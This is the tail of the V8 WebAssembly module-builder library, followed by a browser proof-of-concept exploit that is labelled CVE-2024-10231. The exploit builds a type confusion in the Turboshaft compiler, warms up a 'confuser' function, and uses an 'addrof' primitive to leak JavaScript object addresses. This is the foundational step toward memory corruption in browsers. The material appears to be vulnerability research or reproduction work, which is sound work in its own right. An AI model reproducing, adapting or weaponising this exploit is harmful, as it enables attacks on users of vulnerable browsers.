{\n    let type_index = (typeof type) == 'number' ? type : this.addType(type);\n    let tag_index = this.tags.length + this.num_imported_tags;\n    this.tags.push(type_index);\n    return tag_index;\n  }\n\n  addFunction(name, type, arg_names) {\n    arg_names = arg_names || [];\n    let type_index = (typeof type) == 'number' ? type : this.addType(type);\n    let num_args = this.types[type_index].params.length;\n    if (num_args &lt; arg_names.length)\n      throw new Error('too many arg names provided');\n    if (num_args &gt; arg_names.length)\n      arg_names.push(num_args - arg_names.length);\n    let func = new WasmFunctionBuilder(this, name, type_index, arg_names);\n    func.index = this.functions.length + this.num_imported_funcs;\n    this.functions.push(func);\n    return func;\n  }\n\n  addImport(module, name, type) {\n    if (this.functions.length != 0) {\n      throw new Error('Imported functions must be declared before local ones');\n    }\n    let type_index = (typeof type) == 'number' ? type : this.addType(type);\n    this.imports.push({\n      module: module,\n      name: name,\n      kind: kExternalFunction,\n      type_index: type_index\n    });\n    return this.num_imported_funcs++;\n  }\n\n  addImportedGlobal(module, name, type, mutable = false, shared = false) {\n    if (this.globals.length != 0) {\n      throw new Error('Imported globals must be declared before local ones');\n    }\n    let o = {\n      module: module,\n      name: name,\n      kind: kExternalGlobal,\n      type: type,\n      mutable: mutable,\n      shared: shared\n    };\n    this.imports.push(o);\n    return this.num_imported_globals++;\n  }\n\n  addImportedMemory(module, name, initial = 0, maximum, shared, is_memory64) {\n    if (this.memories.length !== 0) {\n      throw new Error(\n          'Add imported memories before declared memories to avoid messing ' +\n          'up the indexes');\n    }\n    let mem_index = this.imports.filter(i =&gt; i.kind == kExternalMemory).length;\n    let o = {\n      module: module,\n      name: name,\n      kind: kExternalMemory,\n      initial: initial,\n      maximum: maximum,\n      shared: !!shared,\n      is_memory64: !!is_memory64\n    };\n    this.imports.push(o);\n    return mem_index;\n  }\n\n  addImportedTable(\n      module, name, initial, maximum, type = kWasmFuncRef, is_table64 = false) {\n    if (this.tables.length != 0) {\n      throw new Error('Imported tables must be declared before local ones');\n    }\n    let o = {\n      module: module,\n      name: name,\n      kind: kExternalTable,\n      initial: initial,\n      maximum: maximum,\n      type: type,\n      is_table64: !!is_table64\n    };\n    this.imports.push(o);\n    return this.num_imported_tables++;\n  }\n\n  addImportedTag(module, name, type) {\n    if (this.tags.length != 0) {\n      throw new Error('Imported tags must be declared before local ones');\n    }\n    let type_index = (typeof type) == 'number' ? type : this.addType(type);\n    let o = {\n      module: module,\n      name: name,\n      kind: kExternalTag,\n      type_index: type_index\n    };\n    this.imports.push(o);\n    return this.num_imported_tags++;\n  }\n\n  addExport(name, index) {\n    this.exports.push({name: name, kind: kExternalFunction, index: index});\n    return this;\n  }\n\n  addExportOfKind(name, kind, index) {\n    if (index === undefined &amp;&amp; kind != kExternalTable &amp;&amp;\n        kind != kExternalMemory) {\n      throw new Error(\n          'Index for exports other than tables/memories must be provided');\n    }\n    if (index !== undefined &amp;&amp; (typeof index) != 'number') {\n      throw new Error('Index for exports must be a number')\n    }\n    this.exports.push({name: name, kind: kind, index: index});\n    return this;\n  }\n\n  setCompilationHint(strategy, baselineTier, topTier, index) {\n    this.compilation_hints[index] = {\n      strategy: strategy,\n      baselineTier: baselineTier,\n      topTier: topTier\n    };\n    return this;\n  }\n\n  addActiveDataSegment(memory_index, offset, data, is_shared = false) {\n    checkExpr(offset);\n    this.data_segments.push({\n      is_active: true,\n      is_shared: is_shared,\n      mem_index: memory_index,\n      offset: offset,\n      data: data\n    });\n    return this.data_segments.length - 1;\n  }\n\n  addPassiveDataSegment(data, is_shared = false) {\n    this.data_segments.push({\n      is_active: false, is_shared: is_shared, data: data});\n    return this.data_segments.length - 1;\n  }\n\n  exportMemoryAs(name, memory_index) {\n    if (memory_index === undefined) {\n      const num_memories = this.memories.length +\n          this.imports.filter(i =&gt; i.kind == kExternalMemory).length;\n      if (num_memories !== 1) {\n        throw new Error(\n            'Pass memory index to \\'exportMemoryAs\\' if there is not exactly ' +\n            'one memory imported or declared.');\n      }\n      memory_index = 0;\n    }\n    this.exports.push({name: name, kind: kExternalMemory, index: memory_index});\n  }\n\n  // {offset} is a constant expression.\n  // If {type} is undefined, then {elements} are function indices. Otherwise,\n  // they are constant expressions.\n  addActiveElementSegment(table, offset, elements, type, is_shared = false) {\n    checkExpr(offset);\n    if (type != undefined) {\n      for (let element of elements) checkExpr(element);\n    }\n    this.element_segments.push(\n        new WasmElemSegment(table, offset, type, elements, false, is_shared));\n    return this.element_segments.length - 1;\n  }\n\n  // If {type} is undefined, then {elements} are function indices. Otherwise,\n  // they are constant expressions.\n  addPassiveElementSegment(elements, type, is_shared = false) {\n    if (type != undefined) {\n      for (let element of elements) checkExpr(element);\n    }\n    this.element_segments.push(new WasmElemSegment(\n      undefined, undefined, type, elements, false, is_shared));\n    return this.element_segments.length - 1;\n  }\n\n  // If {type} is undefined, then {elements} are function indices. Otherwise,\n  // they are constant expressions.\n  addDeclarativeElementSegment(elements, type, is_shared = false) {\n    if (type != undefined) {\n      for (let element of elements) checkExpr(element);\n    }\n    this.element_segments.push(new WasmElemSegment(\n      undefined, undefined, type, elements, true, is_shared));\n    return this.element_segments.length - 1;\n  }\n\n  appendToTable(array) {\n    for (let n of array) {\n      if (typeof n != 'number')\n        throw new Error('invalid table (entries have to be numbers): ' + array);\n    }\n    if (this.tables.length == 0) {\n      this.addTable(kWasmAnyFunc, 0);\n    }\n    // Adjust the table to the correct size.\n    let table = this.tables[0];\n    const base = table.initial_size;\n    const table_size = base + array.length;\n    table.initial_size = table_size;\n    if (table.has_max &amp;&amp; table_size &gt; table.max_size) {\n      table.max_size = table_size;\n    }\n    return this.addActiveElementSegment(0, wasmI32Const(base), array);\n  }\n\n  setTableBounds(min, max = undefined) {\n    if (this.tables.length != 0) {\n      throw new Error('The table bounds of table \\'0\\' have already been set.');\n    }\n    this.addTable(kWasmAnyFunc, min, max);\n    return this;\n  }\n\n  startRecGroup() {\n    this.rec_groups.push({start: this.types.length, size: 0});\n  }\n\n  endRecGroup() {\n    if (this.rec_groups.length == 0) {\n      throw new Error(\"Did not start a recursive group before ending one\")\n    }\n    let last_element = this.rec_groups[this.rec_groups.length - 1]\n    if (last_element.size != 0) {\n      throw new Error(\"Did not start a recursive group before ending one\")\n    }\n    last_element.size = this.types.length - last_element.start;\n  }\n\n  setName(name) {\n    this.name = name;\n    return this;\n  }\n\n  toBuffer(debug = false) {\n    let binary = new Binary;\n    let wasm = this;\n\n    // Add header.\n    binary.emit_header();\n\n    // Add type section.\n    if (wasm.types.length &gt; 0) {\n      if (debug) print('emitting types @ ' + binary.length);\n      binary.emit_section(kTypeSectionCode, section =&gt; {\n        let length_with_groups = wasm.types.length;\n        for (let group of wasm.rec_groups) {\n          length_with_groups -= group.size - 1;\n        }\n        section.emit_u32v(length_with_groups);\n\n        let rec_group_index = 0;\n\n        for (let i = 0; i &lt; wasm.types.length; i++) {\n          if (rec_group_index &lt; wasm.rec_groups.length &amp;&amp;\n              wasm.rec_groups[rec_group_index].start == i) {\n            section.emit_u8(kWasmRecursiveTypeGroupForm);\n            section.emit_u32v(wasm.rec_groups[rec_group_index].size);\n            rec_group_index++;\n          }\n\n          let type = wasm.types[i];\n          if (type.supertype != kNoSuperType) {\n            section.emit_u8(type.is_final ? kWasmSubtypeFinalForm\n                                          : kWasmSubtypeForm);\n            section.emit_u8(1);  // supertype count\n            section.emit_u32v(type.supertype);\n          } else if (!type.is_final) {\n            section.emit_u8(kWasmSubtypeForm);\n            section.emit_u8(0);  // no supertypes\n          }\n          if (type.is_shared) section.emit_u8(kWasmSharedTypeForm);\n          if (type instanceof WasmStruct) {\n            section.emit_u8(kWasmStructTypeForm);\n            section.emit_u32v(type.fields.length);\n            for (let field of type.fields) {\n              section.emit_type(field.type);\n              section.emit_u8(field.mutability ? 1 : 0);\n            }\n          } else if (type instanceof WasmArray) {\n            section.emit_u8(kWasmArrayTypeForm);\n            section.emit_type(type.type);\n            section.emit_u8(type.mutability ? 1 : 0);\n          } else {\n            section.emit_u8(kWasmFunctionTypeForm);\n            section.emit_u32v(type.params.length);\n            for (let param of type.params) {\n              section.emit_type(param);\n            }\n            section.emit_u32v(type.results.length);\n            for (let result of type.results) {\n              section.emit_type(result);\n            }\n          }\n        }\n      });\n    }\n\n    // Add imports section.\n    if (wasm.imports.length &gt; 0) {\n      if (debug) print('emitting imports @ ' + binary.length);\n      binary.emit_section(kImportSectionCode, section =&gt; {\n        section.emit_u32v(wasm.imports.length);\n        for (let imp of wasm.imports) {\n          section.emit_string(imp.module);\n          section.emit_string(imp.name || '');\n          section.emit_u8(imp.kind);\n          if (imp.kind == kExternalFunction) {\n            section.emit_u32v(imp.type_index);\n          } else if (imp.kind == kExternalGlobal) {\n            section.emit_type(imp.type);\n            let flags = (imp.mutable ? 1 : 0) | (imp.shared ? 0b10 : 0);\n            section.emit_u8(flags);\n          } else if (imp.kind == kExternalMemory) {\n            const has_max = imp.maximum !== undefined;\n            const is_shared = !!imp.shared;\n            const is_memory64 = !!imp.is_memory64;\n            let limits_byte =\n                (is_memory64 ? 4 : 0) | (is_shared ? 2 : 0) | (has_max ? 1 : 0);\n            section.emit_u8(limits_byte);\n            let emit = val =&gt;\n                is_memory64 ? section.emit_u64v(val) : section.emit_u32v(val);\n            emit(imp.initial);\n            if (has_max) emit(imp.maximum);\n          } else if (imp.kind == kExternalTable) {\n            section.emit_type(imp.type);\n            const has_max = (typeof imp.maximum) != 'undefined';\n            // TODO(manoskouk): Store sharedness as a property.\n            const is_shared = false\n            const is_table64 = !!imp.is_table64;\n            let limits_byte =\n                (is_table64 ? 4 : 0) | (is_shared ? 2 : 0) | (has_max ? 1 : 0);\n            section.emit_u8(limits_byte);                 // flags\n            section.emit_u32v(imp.initial);               // initial\n            if (has_max) section.emit_u32v(imp.maximum);  // maximum\n          } else if (imp.kind == kExternalTag) {\n            section.emit_u32v(kExceptionAttribute);\n            section.emit_u32v(imp.type_index);\n          } else {\n            throw new Error('unknown/unsupported import kind ' + imp.kind);\n          }\n        }\n      });\n    }\n\n    // Add functions declarations.\n    if (wasm.functions.length &gt; 0) {\n      if (debug) print('emitting function decls @ ' + binary.length);\n      binary.emit_section(kFunctionSectionCode, section =&gt; {\n        section.emit_u32v(wasm.functions.length);\n        for (let func of wasm.functions) {\n          section.emit_u32v(func.type_index);\n        }\n      });\n    }\n\n    // Add table section.\n    if (wasm.tables.length &gt; 0) {\n      if (debug) print('emitting tables @ ' + binary.length);\n      binary.emit_section(kTableSectionCode, section =&gt; {\n        section.emit_u32v(wasm.tables.length);\n        for (let table of wasm.tables) {\n          if (table.has_init) {\n            section.emit_u8(0x40);  // \"has initializer\"\n            section.emit_u8(0x00);  // Reserved byte.\n          }\n          section.emit_type(table.type);\n          let limits_byte = (table.is_table64 ? 4 : 0) |\n              (table.is_shared ? 2 : 0) | (table.has_max ? 1 : 0);\n          section.emit_u8(limits_byte);\n          let emit = val =&gt; table.is_table64 ? section.emit_u64v(val) :\n                                               section.emit_u32v(val);\n          emit(table.initial_size);\n          if (table.has_max) emit(table.max_size);\n          if (table.has_init) section.emit_init_expr(table.init_expr);\n        }\n      });\n    }\n\n    // Add memory section.\n    if (wasm.memories.length &gt; 0) {\n      if (debug) print('emitting memories @ ' + binary.length);\n      binary.emit_section(kMemorySectionCode, section =&gt; {\n        section.emit_u32v(wasm.memories.length);\n        for (let memory of wasm.memories) {\n          const has_max = memory.max !== undefined;\n          const is_shared = !!memory.shared;\n          const is_memory64 = !!memory.is_memory64;\n          let limits_byte =\n              (is_memory64 ? 4 : 0) | (is_shared ? 2 : 0) | (has_max ? 1 : 0);\n          section.emit_u8(limits_byte);\n          let emit = val =&gt;\n              is_memory64 ? section.emit_u64v(val) : section.emit_u32v(val);\n          emit(memory.min);\n          if (has_max) emit(memory.max);\n        }\n      });\n    }\n\n    // Add tag section.\n    if (wasm.tags.length &gt; 0) {\n      if (debug) print('emitting tags @ ' + binary.length);\n      binary.emit_section(kTagSectionCode, section =&gt; {\n        section.emit_u32v(wasm.tags.length);\n        for (let type_index of wasm.tags) {\n          section.emit_u32v(kExceptionAttribute);\n          section.emit_u32v(type_index);\n        }\n      });\n    }\n\n    // Add stringref section.\n    if (wasm.stringrefs.length &gt; 0) {\n      if (debug) print('emitting stringrefs @ ' + binary.length);\n      binary.emit_section(kStringRefSectionCode, section =&gt; {\n        section.emit_u32v(0);\n        section.emit_u32v(wasm.stringrefs.length);\n        for (let str of wasm.stringrefs) {\n          section.emit_string(str);\n        }\n      });\n    }\n\n    // Add global section.\n    if (wasm.globals.length &gt; 0) {\n      if (debug) print('emitting globals @ ' + binary.length);\n      binary.emit_section(kGlobalSectionCode, section =&gt; {\n        section.emit_u32v(wasm.globals.length);\n        for (let global of wasm.globals) {\n          section.emit_type(global.type);\n          section.emit_u8((global.mutable ? 1 : 0) | (global.shared ? 0b10 : 0));\n          section.emit_init_expr(global.init);\n        }\n      });\n    }\n\n    // Add export table.\n    var exports_count = wasm.exports.length;\n    if (exports_count &gt; 0) {\n      if (debug) print('emitting exports @ ' + binary.length);\n      binary.emit_section(kExportSectionCode, section =&gt; {\n        section.emit_u32v(exports_count);\n        for (let exp of wasm.exports) {\n          section.emit_string(exp.name);\n          section.emit_u8(exp.kind);\n          section.emit_u32v(exp.index);\n        }\n      });\n    }\n\n    // Add start function section.\n    if (wasm.start_index !== undefined) {\n      if (debug) print('emitting start function @ ' + binary.length);\n      binary.emit_section(kStartSectionCode, section =&gt; {\n        section.emit_u32v(wasm.start_index);\n      });\n    }\n\n    // Add element segments.\n    if (wasm.element_segments.length &gt; 0) {\n      if (debug) print('emitting element segments @ ' + binary.length);\n      binary.emit_section(kElementSectionCode, section =&gt; {\n        var segments = wasm.element_segments;\n        section.emit_u32v(segments.length);\n\n        for (let segment of segments) {\n          // Emit flag and header.\n          // Each case below corresponds to a flag from\n          // https://webassembly.github.io/spec/core/binary/modules.html#element-section\n          // (not in increasing order).\n          let shared_flag = segment.is_shared ? 0b1000 : 0;\n          if (segment.is_active()) {\n            if (segment.table == 0 &amp;&amp; segment.type === undefined) {\n              if (segment.expressions_as_elements()) {\n                section.emit_u8(0x04 | shared_flag);\n                section.emit_init_expr(segment.offset);\n              } else {\n                section.emit_u8(0x00 | shared_flag)\n                section.emit_init_expr(segment.offset);\n              }\n            } else {\n              if (segment.expressions_as_elements()) {\n                section.emit_u8(0x06 | shared_flag);\n                section.emit_u32v(segment.table);\n                section.emit_init_expr(segment.offset);\n                section.emit_type(segment.type);\n              } else {\n                section.emit_u8(0x02 | shared_flag);\n                section.emit_u32v(segment.table);\n                section.emit_init_expr(segment.offset);\n                section.emit_u8(kExternalFunction);\n              }\n            }\n          } else {\n            if (segment.expressions_as_elements()) {\n              if (segment.is_passive()) {\n                section.emit_u8(0x05 | shared_flag);\n              } else {\n                section.emit_u8(0x07 | shared_flag);\n              }\n              section.emit_type(segment.type);\n            } else {\n              if (segment.is_passive()) {\n                section.emit_u8(0x01 | shared_flag);\n              } else {\n                section.emit_u8(0x03 | shared_flag);\n              }\n              section.emit_u8(kExternalFunction);\n            }\n          }\n\n          // Emit elements.\n          section.emit_u32v(segment.elements.length);\n          for (let element of segment.elements) {\n            if (segment.expressions_as_elements()) {\n              section.emit_init_expr(element);\n            } else {\n              section.emit_u32v(element);\n            }\n          }\n        }\n      })\n    }\n\n    // If there are any passive data segments, add the DataCount section.\n    if (wasm.data_segments.some(seg =&gt; !seg.is_active)) {\n      binary.emit_section(kDataCountSectionCode, section =&gt; {\n        section.emit_u32v(wasm.data_segments.length);\n      });\n    }\n\n    // If there are compilation hints add a custom section 'compilationHints'\n    // after the function section and before the code section.\n    if (wasm.compilation_hints.length &gt; 0) {\n      if (debug) print('emitting compilation hints @ ' + binary.length);\n      // Build custom section payload.\n      let payloadBinary = new Binary();\n      let implicit_compilation_hints_count = wasm.functions.length;\n      payloadBinary.emit_u32v(implicit_compilation_hints_count);\n\n      // Defaults to the compiler's choice if no better hint was given (0x00).\n      let defaultHintByte = kCompilationHintStrategyDefault |\n          (kCompilationHintTierDefault &lt;&lt; 2) |\n          (kCompilationHintTierDefault &lt;&lt; 4);\n\n      // Emit hint byte for every function defined in this module.\n      for (let i = 0; i &lt; implicit_compilation_hints_count; i++) {\n        let index = wasm.num_imported_funcs + i;\n        var hintByte;\n        if (index in wasm.compilation_hints) {\n          let hint = wasm.compilation_hints[index];\n          hintByte =\n              hint.strategy | (hint.baselineTier &lt;&lt; 2) | (hint.topTier &lt;&lt; 4);\n        } else {\n          hintByte = defaultHintByte;\n        }\n        payloadBinary.emit_u8(hintByte);\n      }\n\n      // Finalize as custom section.\n      let name = 'compilationHints';\n      let bytes = this.createCustomSection(name, payloadBinary.trunc_buffer());\n      binary.emit_bytes(bytes);\n    }\n\n    // Add function bodies.\n    if (wasm.functions.length &gt; 0) {\n      // emit function bodies\n      if (debug) print('emitting code @ ' + binary.length);\n      let section_length = 0;\n      binary.emit_section(kCodeSectionCode, section =&gt; {\n        section.emit_u32v(wasm.functions.length);\n        let header;\n        for (let func of wasm.functions) {\n          if (func.locals.length == 0) {\n            // Fast path for functions without locals.\n            section.emit_u32v(func.body.length + 1);\n            section.emit_u8(0);  // 0 locals.\n          } else {\n            // Build the locals declarations in separate buffer first.\n            if (!header) header = new Binary;\n            header.reset();\n            header.emit_u32v(func.locals.length);\n            for (let decl of func.locals) {\n              header.emit_u32v(decl.count);\n              header.emit_type(decl.type);\n            }\n            section.emit_u32v(header.length + func.body.length);\n            section.emit_bytes(header.trunc_buffer());\n          }\n          // Set to section offset for now, will update.\n          func.body_offset = section.length;\n          section.emit_bytes(func.body);\n        }\n        section_length = section.length;\n      });\n      for (let func of wasm.functions) {\n        func.body_offset += binary.length - section_length;\n      }\n    }\n\n    // Add data segments.\n    if (wasm.data_segments.length &gt; 0) {\n      if (debug) print('emitting data segments @ ' + binary.length);\n      binary.emit_section(kDataSectionCode, section =&gt; {\n        section.emit_u32v(wasm.data_segments.length);\n        for (let seg of wasm.data_segments) {\n          let shared_flag = seg.is_shared ? 0b1000 : 0;\n          if (seg.is_active) {\n            if (seg.mem_index == 0) {\n              section.emit_u8(kActiveNoIndex | shared_flag);\n            } else {\n              section.emit_u8(kActiveWithIndex | shared_flag);\n              section.emit_u32v(seg.mem_index);\n            }\n            section.emit_init_expr(seg.offset);\n          } else {\n            section.emit_u8(kPassive | shared_flag);\n          }\n          section.emit_u32v(seg.data.length);\n          section.emit_bytes(seg.data);\n        }\n      });\n    }\n\n    // Add any explicitly added sections.\n    for (let exp of wasm.explicit) {\n      if (debug) print('emitting explicit @ ' + binary.length);\n      binary.emit_bytes(exp);\n    }\n\n    // Add names.\n    let num_function_names = 0;\n    let num_functions_with_local_names = 0;\n    for (let func of wasm.functions) {\n      if (func.name !== undefined) ++num_function_names;\n      if (func.numLocalNames() &gt; 0) ++num_functions_with_local_names;\n    }\n    if (num_function_names &gt; 0 || num_functions_with_local_names &gt; 0 ||\n        wasm.name !== undefined) {\n      if (debug) print('emitting names @ ' + binary.length);\n      binary.emit_section(kUnknownSectionCode, section =&gt; {\n        section.emit_string('name');\n        // Emit module name.\n        if (wasm.name !== undefined) {\n          section.emit_section(kModuleNameCode, name_section =&gt; {\n            name_section.emit_string(wasm.name);\n          });\n        }\n        // Emit function names.\n        if (num_function_names &gt; 0) {\n          section.emit_section(kFunctionNamesCode, name_section =&gt; {\n            name_section.emit_u32v(num_function_names);\n            for (let func of wasm.functions) {\n              if (func.name === undefined) continue;\n              name_section.emit_u32v(func.index);\n              name_section.emit_string(func.name);\n            }\n          });\n        }\n        // Emit local names.\n        if (num_functions_with_local_names &gt; 0) {\n          section.emit_section(kLocalNamesCode, name_section =&gt; {\n            name_section.emit_u32v(num_functions_with_local_names);\n            for (let func of wasm.functions) {\n              if (func.numLocalNames() == 0) continue;\n              name_section.emit_u32v(func.index);\n              name_section.emit_u32v(func.numLocalNames());\n              let name_index = 0;\n              for (let i = 0; i &lt; func.local_names.length; ++i) {\n                if (typeof func.local_names[i] == 'string') {\n                  name_section.emit_u32v(name_index);\n                  name_section.emit_string(func.local_names[i]);\n                  name_index++;\n                } else {\n                  name_index += func.local_names[i];\n                }\n              }\n            }\n          });\n        }\n      });\n    }\n\n    return binary.trunc_buffer();\n  }\n\n  toArray(debug = false) {\n    return Array.from(this.toBuffer(debug));\n  }\n\n  instantiate(ffi, options) {\n    let module = this.toModule(options);\n    let instance = new WebAssembly.Instance(module, ffi);\n    return instance;\n  }\n\n  asyncInstantiate(ffi) {\n    return WebAssembly.instantiate(this.toBuffer(), ffi)\n        .then(({module, instance}) =&gt; instance);\n  }\n\n  toModule(options, debug = false) {\n    return new WebAssembly.Module(this.toBuffer(debug), options);\n  }\n}\n\nfunction wasmSignedLeb(val, max_len = 5) {\n  if (val == null) throw new Error(\"Leb value may not be null/undefined\");\n  let res = [];\n  for (let i = 0; i &lt; max_len; ++i) {\n    let v = val &amp; 0x7f;\n    // If {v} sign-extended from 7 to 32 bits is equal to val, we are done.\n    if (((v &lt;&lt; 25) &gt;&gt; 25) == val) {\n      res.push(v);\n      return res;\n    }\n    res.push(v | 0x80);\n    val = val &gt;&gt; 7;\n  }\n  throw new Error(\n      'Leb value &lt;' + val + '&gt; exceeds maximum length of ' + max_len);\n}\n\nfunction wasmSignedLeb64(val, max_len = 10) {\n  if (val == null) throw new Error(\"Leb value may not be null/undefined\");\n  if (typeof val != \"bigint\") {\n    if (val &lt; Math.pow(2, 31)) {\n      return wasmSignedLeb(val, max_len);\n    }\n    val = BigInt(val);\n  }\n  let res = [];\n  for (let i = 0; i &lt; max_len; ++i) {\n    let v = val &amp; 0x7fn;\n    // If {v} sign-extended from 7 to 32 bits is equal to val, we are done.\n    if (BigInt.asIntN(7, v) == val) {\n      res.push(Number(v));\n      return res;\n    }\n    res.push(Number(v) | 0x80);\n    val = val &gt;&gt; 7n;\n  }\n  throw new Error(\n      'Leb value &lt;' + val + '&gt; exceeds maximum length of ' + max_len);\n}\n\nfunction wasmUnsignedLeb(val, max_len = 5) {\n  if (val == null) throw new Error(\"Leb value many not be null/undefined\");\n  let res = [];\n  for (let i = 0; i &lt; max_len; ++i) {\n    let v = val &amp; 0x7f;\n    if (v == val) {\n      res.push(v);\n      return res;\n    }\n    res.push(v | 0x80);\n    val = val &gt;&gt;&gt; 7;\n  }\n  throw new Error(\n      'Leb value &lt;' + val + '&gt; exceeds maximum length of ' + max_len);\n}\n\nfunction wasmI32Const(val) {\n  return [kExprI32Const, ...wasmSignedLeb(val, 5)];\n}\n\n// Note: Since {val} is a JS number, the generated constant only has 53 bits of\n// precision.\nfunction wasmI64Const(val) {\n  return [kExprI64Const, ...wasmSignedLeb64(val, 10)];\n}\n\nfunction wasmF32Const(f) {\n  // Write in little-endian order at offset 0.\n  data_view.setFloat32(0, f, true);\n  return [\n    kExprF32Const, byte_view[0], byte_view[1], byte_view[2], byte_view[3]\n  ];\n}\n\nfunction wasmF64Const(f) {\n  // Write in little-endian order at offset 0.\n  data_view.setFloat64(0, f, true);\n  return [\n    kExprF64Const, byte_view[0], byte_view[1], byte_view[2], byte_view[3],\n    byte_view[4], byte_view[5], byte_view[6], byte_view[7]\n  ];\n}\n\nfunction wasmS128Const(f) {\n  // Write in little-endian order at offset 0.\n  if (Array.isArray(f)) {\n    if (f.length != 16) throw new Error('S128Const needs 16 bytes');\n    return [kSimdPrefix, kExprS128Const, ...f];\n  }\n  let result = [kSimdPrefix, kExprS128Const];\n  if (arguments.length === 2) {\n    for (let j = 0; j &lt; 2; j++) {\n      data_view.setFloat64(0, arguments[j], true);\n      for (let i = 0; i &lt; 8; i++) result.push(byte_view[i]);\n    }\n  } else if (arguments.length === 4) {\n    for (let j = 0; j &lt; 4; j++) {\n      data_view.setFloat32(0, arguments[j], true);\n      for (let i = 0; i &lt; 4; i++) result.push(byte_view[i]);\n    }\n  } else {\n    throw new Error('S128Const needs an array of bytes, or two f64 values, ' +\n                    'or four f32 values');\n  }\n  return result;\n}\n\nlet [wasmBrOnCast, wasmBrOnCastFail] = (function() {\n  return [\n    (labelIdx, sourceType, targetType) =&gt;\n      wasmBrOnCastImpl(labelIdx, sourceType, targetType, false),\n      (labelIdx, sourceType, targetType) =&gt;\n      wasmBrOnCastImpl(labelIdx, sourceType, targetType, true),\n  ];\n  function wasmBrOnCastImpl(labelIdx, sourceType, targetType, brOnFail) {\n    labelIdx = wasmUnsignedLeb(labelIdx, kMaxVarInt32Size);\n    let srcHeap = wasmSignedLeb(sourceType.heap_type, kMaxVarInt32Size);\n    let tgtHeap = wasmSignedLeb(targetType.heap_type, kMaxVarInt32Size);\n    let srcIsNullable = sourceType.opcode == kWasmRefNull;\n    let tgtIsNullable = targetType.opcode == kWasmRefNull;\n    flags = (tgtIsNullable &lt;&lt; 1) + srcIsNullable;\n    return [\n      kGCPrefix, brOnFail ? kExprBrOnCastFail : kExprBrOnCast,\n      flags, ...labelIdx, ...srcHeap, ...tgtHeap];\n  }\n})();\n\nfunction getOpcodeName(opcode) {\n  return globalThis.kWasmOpcodeNames?.[opcode] ?? 'unknown';\n}\n\nfunction wasmF32ConstSignalingNaN() {\n  return [kExprF32Const, 0xb9, 0xa1, 0xa7, 0x7f];\n}\n\nfunction wasmF64ConstSignalingNaN() {\n  return [kExprF64Const, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf4, 0x7f];\n}\n\n///// wasm-module-builder.js END /////\n\nconst out = [];\nfunction log(s) {\n  out.push(String(s));\n  document.getElementById('o').textContent = out.join('\\n');\n}\nlog('ua=' + navigator.userAgent);\ntry {\n  let builder = new WasmModuleBuilder();\n  let $s0 = builder.addStruct([makeField(kWasmI32, true)]);\n  let $s1 = builder.addStruct([makeField(kWasmExternRef, true), makeField(kWasmI32, true)]);\n  let $s2 = builder.addStruct([makeField(kWasmI32, true), makeField(wasmRefType($s0), true)]);\n  let $sig_s2_s2 = builder.addType(makeSig([wasmRefType($s2)], [wasmRefType($s2)]));\n  let $sig_i_r = builder.addType(kSig_i_r);\n  let $t = builder.addTable(kWasmNullExternRef, 0, 1).exportAs('table');\n  let $dummy_s1 = builder.addGlobal(wasmRefType($s1), true, false, [\n    kGCPrefix, kExprStructNewDefault, $s1,\n  ]).exportAs('dummy_s1');\n  let $dummy_s2 = builder.addGlobal(wasmRefType($s2), true, false, [\n    ...wasmI32Const(0),\n    kGCPrefix, kExprStructNewDefault, $s0,\n    kGCPrefix, kExprStructNew, $s2,\n  ]);\n\n  // CVE-2024-10231: table default is JS undefined in a nullexternref.\n  // ref.as_non_null(undefined) is bottom for Turboshaft but succeeds at runtime.\n  let typer_unreachable = [\n    ...wasmI32Const(0),\n    kExprTableGet, $t.index,\n    kExprRefAsNonNull,\n    kExprDrop,\n  ];\n\n  let $confuser = builder.addFunction('confuser', makeSig([wasmRefType($s1), kWasmI32], [wasmRefType($s2)]))\n    .addLocals(kWasmAnyRef, 1)\n    .addLocals(kWasmI32, 1)\n    .addBody([\n      kExprGlobalGet, $dummy_s2.index,\n      kExprLocalSet, 2,\n      ...typer_unreachable,\n      kExprLoop, kWasmVoid,\n        kExprLoop, kWasmVoid,\n          kExprLocalGet, 2,\n          kGCPrefix, kExprRefCast, $s2,\n          kExprLocalGet, 3, ...wasmI32Const(1), kExprI32Sub, kExprI32Eqz,\n          kExprIf, $sig_s2_s2,\n            kExprReturn,\n          kExprEnd,\n          kExprDrop,\n          kExprLocalGet, 1, ...wasmI32Const(0x42), kExprI32Sub, kExprI32Eqz,\n          kExprBrIf, 0,\n        kExprEnd,\n        kExprLocalGet, 0,\n        kExprLocalSet, 2,\n        kExprLocalGet, 3,\n        kExprI32Const, 1,\n        kExprI32Add,\n        kExprLocalSet, 3,\n        kExprLocalGet, 1,\n        kExprI32Const, 1,\n        kExprI32Sub,\n        kExprLocalTee, 1,\n        kExprBrIf, 0,\n      kExprEnd,\n      kExprGlobalGet, $dummy_s2.index,\n    ]).exportFunc();\n\n  builder.addFunction('addrof', $sig_i_r).addBody([\n    kExprLocalGet, 0,\n    ...wasmI32Const(0),\n    kGCPrefix, kExprStructNew, $s1,\n    ...wasmI32Const(0),\n    kExprCallFunction, $confuser.index,\n    kGCPrefix, kExprStructGet, $s2, 0,\n  ]).exportFunc();\n\n  let instance = builder.instantiate();\n  let {table, dummy_s1, confuser, addrof} = instance.exports;\n  table.grow(1);\n  log('table0=' + table.get(0));\n  log('table0type=' + typeof table.get(0));\n  const t0 = performance.now();\n  for (let i = 0; i &lt; 0x200000; i++) {\n    confuser(dummy_s1.value, 1);\n  }\n  log('warmup_ms=' + (performance.now() - t0));\n  const p = addrof({a:1});\n  log('addrof=' + (p&gt;&gt;&gt;0).toString(16));\n  log('DONE');\n} catch (e) {\n  log('ERR ' + e);\n  log(e &amp;&amp; e.stack);\n}\n\n\n", "creation_timestamp": "2026-09-20T03:46:23.361114Z"}]}